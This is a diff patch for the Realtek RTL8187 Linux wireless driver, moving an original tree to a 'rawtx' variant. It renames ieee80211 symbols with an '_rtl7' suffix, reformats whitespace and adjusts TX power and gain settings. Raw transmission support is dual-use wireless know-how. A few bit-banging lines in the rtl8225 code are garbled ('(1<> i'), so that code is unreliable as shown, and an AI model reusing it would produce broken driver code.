sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-07-13 01:46:24.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-07-13 01:46:27.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-07-13 01:46:24.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-07-13 01:46:27.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-07-13 01:46:24.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); 